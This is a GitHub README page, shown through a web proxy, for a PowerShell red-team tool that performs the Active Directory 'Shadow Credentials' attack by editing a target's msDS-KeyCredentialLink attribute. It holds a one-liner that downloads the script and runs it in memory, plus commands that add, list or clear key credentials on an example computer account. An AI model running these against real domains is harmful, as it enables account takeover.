8000 GitHub - Leo4j/KeyCredentialLink: Add Shadow Credentials to a target object by editing their msDS-KeyCredentialLink attribute
[go: up one dir, main page]
More Web Proxy on the site http://driver.im/
Skip to content
/ KeyCredentialLink Public

Add Shadow Credentials to a target object by editing their msDS-KeyCredentialLink attribute

21 stars 3 forks Branches Tags Activity
Star
Notifications You must be signed in to change notification settings

Leo4j/KeyCredentialLink

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

3 Commits
KeyCredentialLink.ps1
KeyCredentialLink.ps1
 
 
README.md
README.md
 
 

Repository files navigation

KeyCredentialLink

Add Shadow Credentials to a target object by editing their msDS-KeyCredentialLink attribute

This tool is heavily inspired to Whisker by Elad Shamir (@elad_shamir).

This tool is based on code from DSInternals by Michael Grafnetter (@MGrafnetter).

For this attack to succeed, the environment must have a Domain Controller running at least Windows Server 2016, and the Domain Controller must have a server authentication certificate to allow for PKINIT Kerberos authentication.

Also, you need the necessary rights to edit the msDS-KeyCredentialLink attribute of the specified target.

More details are available at the post Shadow Credentials: Abusing Key Trust Account Mapping for Takeover.

Usage

Load the tool in memory

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/KeyCredentialLink/main/KeyCredentialLink.ps1')

List all the values of the the msDS-KeyCredentialLink attribute of a target object

List-KeyCredentials -target "ABUSECOMP$" -domain "ferrari.local" -dc "dc01.ferrari.local"

Add a new value to the msDS-KeyCredentialLink attribute of a target object

Add-KeyCredentials -target "ABUSECOMP$" -domain "ferrari.local" -dc "dc01.ferrari.local"

Remove a value from the msDS-KeyCredentialLink attribute of a target object

Clear-KeyCredentials -target "ABUSECOMP$" -domain "ferrari.local" -dc "dc01.ferrari.local" -deviceId "<deviceID>"

Clear all the values of the the msDS-KeyCredentialLink attribute of a target object

Clear-KeyCredentials -target "ABUSECOMP$" -domain "ferrari.local" -dc "dc01.ferrari.local" -Force

⚠️ Warning: Clearing all keys from msDS-KeyCredentialLink is a risky operation, as it will break legitimate passwordless authentication.

KeyCred

About

Add Shadow Credentials to a target object by editing their msDS-KeyCredentialLink attribute

Resources

Readme
Activity

Stars

21 stars

Watchers

1 watching

Forks

3 forks
Report repository

Releases

No releases published

Packages

No packages published

Languages
0